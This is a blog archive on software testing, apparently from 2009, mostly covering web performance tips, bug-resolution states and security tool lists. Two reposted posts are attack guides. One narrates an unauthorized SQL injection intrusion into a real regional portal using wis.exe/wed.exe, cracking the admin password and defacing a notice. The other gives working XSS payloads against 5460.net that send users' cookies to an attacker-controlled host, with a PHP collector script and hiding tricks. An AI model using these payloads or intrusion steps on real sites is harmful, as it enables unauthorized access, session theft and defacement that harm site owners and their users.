          <script. type="text/javascript" src="menu_1.0.17.js"></script>
    在PHP中可以通过创建名为insertScript的方法来替代:
          <?php insertScript("menu.js") ?>
    为了防止多次重复引用脚本,这个方法中还应该使用其它机制来处理脚本,如检查所属目录和为脚本文件名中增加版本号以用于Expire文件头等。

    25、减少DOM访问
          使用JavaScript访问DOM元素比较慢,因此为了获得更多的应该页面,应该做到:

    • 缓存已经访问过的有关元素
    • 线下更新完节点之后再将它们添加到文档树中
    • 避免使用JavaScript来修改页面布局

          有关此方面的更多信息请查看Julien Lecomte在YUI专题中的文章“高性能Ajax应该程序”

    26、开发智能事件处理程序
          有时候我们会感觉到页面反应迟钝,这是因为DOM树元素中附加了过多的事件句柄并且些事件句病被频繁地触发。这就是为什么说使用event delegation(事件代理)是一种好方法了。如果你在一个div中有10个按钮,你只需要在div上附加一次事件句柄就可以了,而不用去为每一个按钮增加一个句柄。事件冒泡时你可以捕捉到事件并判断出是哪个事件发出的。
          你同样也不用为了操作DOM树而等待onload事件的发生。你需要做的就是等待树结构中你要访问的元素出现。你也不用等待所有图像都加载完毕。
          你可能会希望用DOMContentLoaded事件来代替onload,但是在所有浏览器都支持它之前你可使用YUI 事件应用程序中的onAvailable方法。
          有关此方面的更多信息请查看Julien Lecomte在YUI专题中的文章“高性能Ajax应该程序”

     

    转载自:http://www.dudo.org/article.asp?id=218

    我们在前面的几节中分别讲了提高网站性能中内容服务器JavaScript和CSS等方面的内容。除此之外,图片和Coockie也是我们网站中几乎不可缺少组成部分,此外随着移动设备的流行,对于移动应用的优化也十分重要。这主要包括:
    Coockie:

    1. 减小Cookie体积
    2. 对于页面内容使用无coockie域名

    图片:

    1. 优化图像
    2. 优化CSS Spirite
    3. 不要在HTML中缩放图像
    4. favicon.ico要小而且可缓存

    移动应用:

    1. 保持单个内容小于25K
    2. 打包组件成复合文本


    27、减小Cookie体积

          HTTP coockie可以用于权限验证和个性化身份等多种用途。coockie内的有关信息是通过HTTP文件头来在web服务器和浏览器之间进行交流的。因此保持coockie尽可能的小以减少用户的响应时间十分重要。
    有关更多信息可以查看Tenni Theurer和Patty Chi的文章“When the Cookie Crumbles”。这们研究中主要包括:

    • 去除不必要的coockie
    • 使coockie体积尽量小以减少对用户响应的影响
    • 注意在适应级别的域名上设置coockie以便使子域名不受影响
    • 设置合理的过期时间。较早地Expire时间和不要过早去清除coockie,都会改善用户的响应时间。

    28、对于页面内容使用无coockie域名
          当浏览器在请求中同时请求一张静态的图片和发送coockie时,服务器对于这些coockie不会做任何地使用。因此他们只是因为某些负面因素而创建的网络传输。所有你应该确定对于静态内容的请求是无coockie的请求。创建一个子域名并用他来存放所有静态内容。
          如果你的域名是www.example.org,你可以在static.example.org上存在静态内容。但是,如果你不是在www.example.org上而是在顶级域名example.org设置了coockie,那么所有对于static.example.org的请求都包含coockie。在这种情况下,你可以再重新购买一个新的域名来存在静态内容,并且要保持这个域名是无coockie的。Yahoo!使用的是ymig.com,YouTube使用的是ytimg.com,Amazon使用的是images-anazon.com等等。
          使用无coockie域名存在静态内容的另外一个好处就是一些代理(服务器)可能会拒绝对coockie的内容请求进行缓存。一个相关的建议就是,如果你想确定应该使用example.org还是www.example.org作为你的一主页,你要考虑到coockie带来的影响。忽略掉www会使你除了把coockie设置到*.example.org(*是泛域名解析,代表了所有子域名译者dudo注)外没有其它选择,因此出于性能方面的考虑最好是使用带有www的子域名并且在它上面设置coockie。

    29、优化图像
          设计人员完成对页面的设计之后,不要急于将它们上传到web服务器,这里还需要做几件事:

    • 你可以检查一下你的GIF图片中图像颜色的数量是否和调色板规格一致。 使用imagemagick中下面的命令行很容易检查:
      identify -verbose image.gif
      如果你发现图片中只用到了4种颜色,而在调色板的中显示的256色的颜色槽,那么这张图片就还有压缩的空间。
    • 尝试把GIF格式转换成PNG格式,看看是否节省空间。大多数情况下是可以压缩的。由于浏览器支持有限,设计者们往往不太乐意使用PNG格式的图片,不过这都是过去的事情了。现在只有一个问题就是在真彩PNG格式中的alpha通道半透明问题,不过同样的,GIF也不是真彩格式也不支持半透明。因此GIF能做到的,PNG(PNG8)同样也能做到(除了动画)。下面这条简单的命令可以安全地把GIF格式转换为PNG格式:
      convert image.gif image.png
      “我们要说的是:给PNG一个施展身手的机会吧!”
    • 在所有的PNG图片上运行pngcrush(或者其它PNG优化工具)。例如:
      pngcrush image.png -rem alla -reduce -brute result.png
    • 在所有的JPEG图片上运行jpegtran。这个工具可以对图片中的出现的锯齿等做无损操作,同时它还可以用于优化和清除图片中的注释以及其它无用信息(如EXIF信息):
      jpegtran -copy none -optimize -perfect src.jpg dest.jpg

    30、优化CSS Spirite

    • 在Spirite中水平排列你的图片,垂直排列会稍稍增加文件大小;
    • Spirite中把颜色较近的组合在一起可以降低颜色数,理想状况是低于256色以便适用PNG8格式;
    • 便于移动,不要在Spirite的图像中间留有较大空隙。这虽然不大会增加文件大小但对于用户代理来说它需要更少的内存来把图片解压为像素地图。100x100的图片为1万像素,而1000x1000就是100万像素。


    31、不要在HTML中缩放图像
          不要为了在HTML中设置长宽而使用比实际需要大的图片。如果你需要:
    <img width="100" height="100" src="mycat.jpg" alt="My Cat" />
    那么你的图片(mycat.jpg)就应该是100x100像素而不是把一个500x500像素的图片缩小使用。

    32、favicon.ico要小而且可缓存
          favicon.ico是位于服务器根目录下的一个图片文件。它是必定存在的,因为即使你不关心它是否有用,浏览器也会对它发出请求,因此最好不要返回一个404 Not Found的响应。由于是在同一台服务器上,它每被请求一次coockie就会被发送一次。这个图片文件还会影响下载顺序,例如在IE中当你在onload中请求额外的文件时,favicon会在这些额外内容被加载前下载。
          因此,为了减少favicon.ico带来的弊端,要做到:

    • 文件尽量地小,最好小于1K
    • 在适当的时候(也就是你不要打算再换favicon.ico的时候,因为更换新文件时不能对它进行重命名)为它设置Expires文件头。你可以很安全地把Expires文件头设置为未来的几个月。你可以通过核对当前favicon.ico的上次编辑时间来作出判断。

    Imagemagick可以帮你创建小巧的favicon。

    33、保持单个内容小于25K
          这条限制主要是因为iPhone不能缓存大于25K的文件。注意这里指的是解压缩后的大小。由于单纯gizp压缩可能达不要求,因此精简文件就显得十分重要。
          查看更多信息,请参阅Wayne Shea和Tenni Theurer的文件“Performance Research, Part 5: iPhone Cacheability - Making it Stick”

    34、打包组件成复合文本
          把页面内容打包成复合文本就如同带有多附件的Email,它能够使你在一个HTTP请求中取得多个组件(切记:HTTP请求是很奢侈的)。当你使用这条规则时,首先要确定用户代理是否支持(iPhone就不支持)。

     

     

  • Bugzilla中的Bug解决方案如何理解?

    2009-04-09 10:37:03

    Bugzilla(v3.2.2)中的BUG解决方案有如下7种:

    1. Fixed:已修复,即BUG中描述的与需求或设计不一致的问题已解决,不再出现。
    2. Duplicate:重复的,该BUG与另外一个BUG描述的问题是一样的。
    3. WontFix:不处理,该BUG无足轻重。
    4. WorksForMe:无法重现,开发人员无法复现该BUG。
    5. Invalid:无效的,开发人员认为该BUG不是一个缺陷,可能是设计问题或系统环境配置不正确。
    6. Moved:已转移,转移到别的BUG分类或别的版本下。
    7. Later:推迟,该BUG在当前版本不易处理,推迟处理或在新版本中处理。

     

    Bugfree(v1.1)中一个Bug有7种解法(摘自Bugfree文档):

    1. By Design - 就是这么设计的,无效的Bug
    2. Duplicate - 这个问题别人已经发现了,重复的Bug
    3. External - 是个外部因素(比如浏览器、操作系统、其他第3方软件)造成的问题
    4. Fixed - 问题被修理掉了。Tester要尽可能找到这种Bug
    5. Not Repro - 无法复现你这个问题,无效的Bug
    6. Postponed - 是个问题,但是目前不必修理了,推迟到以后再解
    7. Won't Fix - 是个问题,但是不值得修理了,不管它吧

    bugzilla与bugfree的对比

    序号 bugzilla bugfree 备注
    1 Fixed Fixed  
    2 Duplicate Duplicate  
    3 WontFix Won't Fix  
    4 WorksForMe Not Repro  
    5 Invalid By Design, External  
    6 Moved  
    7 Later Postponed Bugzilla中本来没有,通过自定义栏目新加的

     

  • 利用SQL注入2分钟入侵网站全程实录

    2009-04-07 11:30:26

    说起流光、溯雪、乱刀,可以说是大名鼎鼎无人不知无人不晓,这些都是小榕哥的作品。每次一提起小榕哥来,我的崇拜景仰就如滔滔江水,连绵不绝~~~~(又来了!) 让我们崇拜的小榕哥最新又发布了SQL注入工具,这回喜欢利用SQL注入入侵网站的黑友们有福了。小榕哥的工具就是强!偶用它来搞定我们本地的信息港,从寻找注入漏洞到注入攻击成功,通过准确计时,总共只用了3分还差40秒,呵呵,王者风范,就是强啊!不信吗?看看我的入侵过程吧。

      一、下载榕哥的工具包
      小榕哥的这个SQL注入攻击工具包在榕哥的站点http://www.netxeyes.com/main.html可以下载到,不过这个工具太火爆了,下载的人实在太多,你觉得慢的话,可以到其它大的黑软站点搜索一下,绝对可以找到的。
      下载来的这个工具包中总有两个小程序:"wed.exe"和"wis.exe",其中"wis.exe"是用来扫描某个站点中是否存在SQL注入漏洞的;"wed.exe"则是用来破解SQL注入用户名密码的。两个工具的使用都非常简单,结合起来,就可以完成从寻找注入点到注入攻击完成的整个过程。

      二、寻找SQL注入点
      "wis.exe"使用的格式如下:"wis.exe 网址",这里以笔者检测本地信息港为例:首先打开命令提示窗口,输入如下命令:"wis.exe http://www.as.***.cn/"。


    小提示:在输入网址时,前面的"http://";和最后面的"/"是必不可少的,否则将会提示无法进行扫描。

      输入完毕后回车,即可开始进行扫描了。很快得到了扫描结果,可以看到这个网站中存在着很多SQL注入漏洞,我们随便挑其中一个来做试验,就挑"/rjz/sort.asp?classid=1"吧。


    打开浏览器,在地址栏中输入"http://www.as.***.cn/rjz/sort.asp?classid=1",打开了网站页面,呵呵,原来是一个下载网页。现在来对它进行SQL注入,破解出管理员的帐号来吧!

     三、SQL注入破解管理员帐号
      现在进入命令窗口中,使用刚才下载的工具包中的"wed.exe"程序,命令使用格式为:"wed.exe 网址"输入如下命令:"wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1"。回车后可看到命令运行情况。

    小提示:这次输入网址时,最后面千万不要加上那个"/",但前面的"http://";头也还是必不可少的。

      可以看到程序自动打开了工具包中的几个文件,"C:\wed\wed\TableName.dic"、
    "C:\wed\wed\UserField.dic"和"C:\wed\wed\PassField.dic",这几个文件分别是用来破解用户数据库中的字表名、用户名和用户密码所需的字典文件。当然我们也可以用其它的工具来生成字典文件,不过想想小榕哥以前出的"黑客字典"那么的强大,还用得着去多此一举吗?
      在破解过程中还可以看到"SQL Injection Detected."的字符串字样,表示程序还会对需要注入破解的网站进行一次检测,看看是否存在SQL注入漏洞,成功后才开始猜测用户名。
      开始等待吧!呵呵,很快就获得了数据库表名"admin",然后得到用户表名和字长,为"username"和"6";再检测到密码表名和字长,为"password"和"8"。看来用户的密码还起得挺长的呢,如果手工破解出这个用户密码来,一定要花上不少时间的!


    正想着手工注入会有多困难时,"wed.exe"程序已经开始了用户名和密码的破解。很快的,就得到了用户名和密码了——"admina"、"pbk&7*8r"!天啦,这也太容易了吧!还不到一分钟呢

    四、搜索隐藏的管理登录页面
      重新回到刚才的软件下载页面中,任意点击了一个软件下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的收费网站,要输入用户名和密码才可以下载。看来这是免费下载的网站,我猜错了攻击对象,不过既然都来了,就看看有没有什么可利用的吧?
      拿到了管理员的帐号,现在看来我们只有找到管理员登录管理的入口才行了。在网页上找遍了也没有看到什么管理员的入口链接,看来还是得让榕哥出手啦!
      再次拿出"wis.exe"程序,这个程序除了可以扫描出网站中存在的所有SQL注入点外,还可以找到隐藏的管理员登录页面。在命令窗口中输入
    "wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a"。注意这里输入了一个隐藏的参数"/a"。

    怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于是输入"wis.exe http://www.as.***.cn/ /a",对整个网站进行扫描。注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到列表中有多个以"/rjz/"开头的登录页面网址,包括"/rjz/gl/manage.asp"、"/rjz/gl/login.asp"、"/rjz/gl/admin1.asp"等。就挑"/rjz/gl/admin1.asp"吧,反正这些都是管理员登录的页面想用哪个都可以。
      在浏览器中输入网址" http://www.as.***.cn/rjz/gl/admin1.asp",呵呵,出现了本来隐藏着的管理员登录页面。输入用户名和密码,就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦,看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小小的通知吧!


    看看最后我更改过的主页,冰河洗剑的大名留在了信息港上,不过可没有破坏什么东西啊!我和网页管理员也是朋友,他会原谅我这个小小的玩笑吧!?

  • 三步堵死SQL注入漏洞

    2009-04-07 11:15:43

    SQL注入是什么?

      许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    网站的恶梦——SQL注入

      SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。

    防御SQL注入有妙法

      第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试(。

      可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。


    第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

      第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

      1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

      2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

      3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

      我们通过上面的三步完成了对数据库的修改。

      这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

  • 跨站脚本执行漏洞详解

    2009-04-07 10:46:16

    本文来源:黑客基地

    本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题 (FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。

    声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负!

    【漏洞成因】
    原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。

    【漏洞形式】
    这里所说的形式,实际上是指CGI输入的形式,主要分为两种:
    1.显示输入
    2.隐式输入
    其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通 过输入数据来进行干涉。
    显示输入又可以分为两种:
    1. 输入完成立刻输出结果
    2. 输入完成先存储在文本文件或数据库中,然后再输出结果
    注意:后者可能会让你的网站面目全非!:(
    而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。

    【漏洞危害】
    大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典 型的吧。
    1. 获取其他用户Cookie中的敏感数据
    2. 屏蔽页面特定信息
    3. 伪造页面信息
    4. 拒绝服务攻击
    5. 突破外网内网不同安全设置
    6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
    7. 其它
    一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的 网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。

    【利用方式】
    下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条 理更清晰一些,我们将针对每种危害做一个实验。
    为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如 NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。
    另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。
    好的,一切就绪,我们开始做实验!:)

    实验一:获取其他用户Cookie中的敏感信息
    我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行:
    1. 进入首页http://www.5460.net/
    2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。
    3. 分析抓包数据,得到实际请求:
    http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
    4. 构造一个提交,目标是能够显示用户Cookie信息:
    http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6
    5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
    http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
    其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信 息,内容如下:
    <?php
    $info = getenv("QUERY_STRING");
    if ($info) {
    $fp = fopen("info.txt","a");
    fwrite($fp,$info."/n");
    fclose($fp);
    }
    header("Location: http://www.5460.net");
    注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语 句则纯粹是为了增加隐蔽性。
    6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以 获取该用户Cookie中的敏感信息。
    7. 后面要做什么就由你决定吧!

    实验二:屏蔽页面特定信息
    我们仍然以5460.net作为例子,下面是一个有问题的CGI程序:
    http://www.5460.net/txl/liuyan/liuyanSql.pl
    该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检 查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你 的名字,对吧?
    既然有了上面的种种条件,我们可以不妨作出下面的结论:
    某个用户可以“屏蔽”其两次留言之间的所有留言!
    当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从 页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是出了我们这些研究CGI安全的人来 说,有多少人有事没事都看HTML源代码?
    由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。
    注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right?

    实验三:伪造页面信息
    如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而 已。

    实验四:拒绝服务攻击
    现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们 就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本 等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚 本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那 么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可 以隐藏身份。

    实验五:突破外网内网不同安全设置
    这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于 Internet区域,可能你不允许JavaScript执行,而在Intranet区域,你就允许JavaScript执行。一般来说,前者的 安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击,但是如果 与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet 区域。

    实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
    由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这 些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样 的蠕虫,都是很好的例子。
    更多的例子请参考下列链接:
    Internet Explorer Pop-Up OBJECT Tag Bug
    http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
    Internet Explorer Javascript. Modeless Popup Local Denial of Service Vulnerability
    http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
    MSIE6 can read local files
    http://www.xs4all.nl/~jkuperus/bug.htm
    MSIE may download and run progams automatically
    http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
    File extensions spoofable in MSIE download dialog
    http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
    the other IE cookie stealing bug (MS01-055)
    http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
    Microsoft Security Bulletin MS01-055
    http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
    Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
    http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
    Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
    http://www.kriptopolis.com/cua/eml.html

    跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。

    实验七:其它
    其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还 是CGI程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持SSI的服务器上的CGI程 序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是在服 务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。

    【隐藏技巧】
    出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书 看吧。
    1. URL编码
    比较一下:
    http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
    http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
    你觉得哪个更有隐蔽性?!

    2. 隐藏在其它对象之下
    与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?

    3. 嵌入页面中
    让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得 多,借助于Iframe,你可以把这种攻击变得更隐蔽。

    4. 合理利用事件
    合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本 执行漏洞。

    【注意事项】
    一般情况下直接进行类似<script>alert(document.cookie)</script>之类的攻击没有什么问题,但是有时 CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧 来绕过这些限制。
    如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。

    【解决方法】
    要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
    程序员:
    1. 过滤或转换用户提交数据中的HTML代码
    2. 限制用户提交数据的长度

    用户:
    1. 不要轻易访问别人给你的链接
    2. 禁止浏览器运行JavaScript和ActiveX代码

    附:常见浏览器修改设置的位置为:
    Internet Explorer:
    工具->Internet选项->安全->Internet->自定义级别
    工具->Internet选项->安全->Intranet->自定义级别
    Opera:
    文件->快速参数->允许使用Java
    文件->快速参数->允许使用插件
    文件->快速参数->允许使用JavaScript.

    【常见问题】
    Q:跨站脚本执行漏洞在哪里存在?
    A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。

    Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
    A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。

  • 日访问量计算方法

    2009-04-01 14:00:54

    10万人主要集中在5个月的时间访问系统,再按2/8原则,计算系统访问量,

    日访问量=(100000*80%)/(5*30/20%)=100人次
  • WebInspect网页程序扫描器

    2009-03-31 15:02:31

    一、 简介

    WebInspect:强大的网页程序扫描器

    WebInspect对于专业人员不必多说,在黑客工具排名前100中能找到它的身影。

     SPI Dynamics' WebInspect应用程序安全评估工具帮您识别已知和未知的网页层漏洞。它还能检测到Web服务器的配置属性,以及进行常见的网页攻击,例如参数注入、跨网站脚本、目录游走等等。

    发现Ajax安全缺陷的一个方法是借助于安全测试应用软件。这一方面,Cenzic的Hailstorm可以针对基于Ajax的Web应用程序进行精确动作分析。Hailstorm可以自动模拟某些最复杂的基于流的攻击,让开发者看到真实世界的黑客是如何攻入他们的Web应用程序并窃取安全数据的。
    Hailstorm使开发者可以实时检查所有安全缺陷,以了解某些注入攻击代码如何被执行以及被攻击的目标Web应用如何响应。Hailstorm还从不同的技术角度来提供建议来修正代码。不过由于Web应用技术如此不同,Hailstorm只是给出了通用的修补建议,而不提供具体的修正代码。
    根据Cenzic,当Ajax应用程序发出服务器请求时出现的两个主要安全弱点是:输入确认(诸如SQL和脚本注入)和授权。对开发者的关键挑战是要防止来自注入攻击的反馈信息。 
    例如,当发出HTTP请求后,提交的参数被连接符号&分开,这使得黑客可以根据参数来查看服务器的响应。黑客可以创建定制的HTTP头,通过插入调用函数,服务器端就会运行恶意脚本。通过Hailstorm,开发者能够识别存在于HTTP头内的注入代码的安全缺陷。
    Hailstorm还可以检查任何基于提交数据的注入攻击。对于有安全弱点的HTTP头,Hailstorm可以产生跨站点脚步攻击和SQL注入攻击来测试服务器请求和脚本执行。Hailstorm可以在HTTP头中插入空函数来看页面结构是否能被恶意函数改变。为了得到XML节点的信息和被调用的函数,黑客们通常喜欢使用空函数来接收来自服务器的信息。 由于Ajax请求通常是基于XMLHTTP协议的,开发者可以动态的改变提交数据的架构,以提供从Web应用到客户端浏览器的即时Ajax数据结果。但是这个功能也可以被利用。例如假如黑客可以改变任何函数的话,他们可以在页面上放一个类似弹出窗口类的垃圾信息。
    观察攻击Ajax请求的最佳时间也是非常重要的,因为不是所有的Ajax方法调用都是有用的。在页面加载的时候,对页面所做的Ajax改变需要按照服务器端模块或内部终端用户的响应来进行,因为Ajax请求是一个中间请求。
    内部终端用户的例子是那些需要计算来自银行或其他金融机构的表格的人们。为了测定那些Ajax请求会导致什么情况,Hailstorm在服务器端利用一个浏览器来跟踪内部用户的基于事件的响应,并跟踪那些请求一直到客户浏览器的页面加载。
    举例来说,对表格数据执行了Ajax注入后,Hailstorm用户可以分析响应数据大小。假若内部用户点击了一个来自基于Ajax的SQL注入产生的JavaScript弹出窗口后,从Web应用中得来的数据会产生一个安全漏洞,使得黑客可以查看财政数据的表格。Hailstorm输出可以在页面加载的时候测定特定的产生这个漏洞的实例,方法是给每一个交易打上一个水印标识。这个功能可以模仿黑客实际所采取的做法,从而提供一个状态评估来维护Web应用的状态。

  • 15款最好的Windows系统安全检测工具

    2009-03-31 14:53:14

    基于Widnows平台的电脑,有7类常见的安全测试工具,它们是:

      1. 端口扫描 (Port scanners)
      2. 网络/操作系统弱点扫描 (Network/OS vulnerability scanners
      3. 应用程序/数据库弱点扫描 (Application/database vulnerability scanners)
      4. 密码破解 (Password crackers)
      5. 文件查找工具 (File searching tools)
      6. 网络分析 (Network analyzers)
      7. 漏洞检查工具

    工具名称 相关站点 擅长方面
    免费
    SuperScan version 3 www.foundstone.com/resources/proddesc/superscan3.htm 快速并且易用的端口扫描器,可以在运行的系统中寻找开放的端口和正在运行的服务,抓取banner信息包括软件的版本。
    SoftPerfect Network Scanner www.softperfect.com/products/networkscanner 映射MAC地址到IP地址,可以帮你定位随机的有线和无线的系统 
    NetBIOS Auditing Tool (NAT) www.cotse.com/tools/netbios.htm 灵巧的Windows网络共享密码的破解工具
    Winfingerprint http://winfingerprint.sourceforge.net Windows 信息列举工具,它可以搜索到补丁的等级信息,NetBIOS信息,用户信息等
    Metasploit www.metasploit.org 一个强大的查找基于Windows平台弱点的工具
    Cain & Abel www.oxid.it 一个很不错的混合密码破解工具
    商用
    QualysGuard www.qualys.com 强大且易用且全面的网络/操作系统弱点扫描工具,适用于上千种新老漏洞。
    GFI LANguard Network Security Scanner www.gfi.com/lannetscan 一套完美的定位于Windows系统,功能强大且价格低廉的的网络/操作系统弱点扫描工具
    N-Stealth www.nstalker.com 一款物美价廉的针对运行IIS的系统扫描工具
    WebInspect www.spidynamics.com/products/webinspect/index.html 彻底的挖掘基于IIS,Apach等系统的Web应用程序弱点
    WinHex www.winhex.com/winhex/index-m.html 查找运行程序遗留于内存中的敏感信息 -- 完全搜索类似于“密码”,“SSN”,等等之类的文本信息。以发现那些未清除干净的敏感信息
    AppDetective for MS SQL Server www.appsecinc.com/products/appdetective/mssql 全面的SQL Server 数据库安全扫描工具
    Proactive Password Auditor www.elcomsoft.com/ppa.html 一个效果明显且简单易用的用户密码破解工具 -- 支持Rainbow Table
    Effective File Search www.sowsoft.com/search.htm 强大的文本搜索工具,适用于搜索本地文件或服务器上的共享文件。 -- 完全搜索类似于“密码”,“SSN”,等等之类的文本信息。 以发现那些未被保护的敏感信息
    EtherPeek www.wildpackets.com/products/etherpeek/overview 完美的网络分析器,可以找出不怀好意的系统,未被认可的协议, 找出上层的讲话者, 以及更多

     

    本文章来源于西盟软件站【www.zmke.com】详细地址:http://www.zmke.com/article/52/80/2006/20060826214.html

  • 安全性测试

    2009-03-31 14:43:31

    安全性测试(security testing)是有关验证应用程序的安全服务和识别潜在安全性缺陷的过程。
